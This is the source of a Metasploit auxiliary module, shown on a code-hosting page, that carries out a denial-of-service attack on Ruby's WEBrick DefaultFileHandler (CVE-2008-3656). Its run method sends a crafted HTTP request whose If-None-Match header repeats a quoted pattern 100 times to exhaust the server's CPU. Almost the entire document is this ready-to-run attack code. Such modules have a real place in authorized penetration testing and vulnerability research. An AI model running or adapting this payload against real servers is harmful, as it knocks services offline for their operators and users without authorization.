Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/webrick_regex.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',12'Description' => %q{13The WEBrick::HTTP::DefaultFileHandler in WEBrick in14Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.715to 1.8.7-p71, and 1.9 to r18423 allows for a DoS16(CPU consumption) via a crafted HTTP request.17},18'Author' => 'kris katterjohn',19'License' => MSF_LICENSE,20'References' => [21[ 'BID', '30644'],22[ 'CVE', '2008-3656'],23[ 'OSVDB', '47471' ],24[ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']25],26'DisclosureDate' => '2008-08-08'))2728register_options([29OptString.new('URI', [ true, 'URI to request', '/' ])30])31end3233def run34begin35o = {36'uri' => normalize_uri(datastore['URI']),37'headers' => {38'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 10039}40}4142c = connect(o)43c.send_request(c.request_raw(o))4445print_status("Request sent to #{rhost}:#{rport}")46rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout47print_status("Couldn't connect to #{rhost}:#{rport}")48rescue ::Timeout::Error, ::Errno::EPIPE49end50end51end525354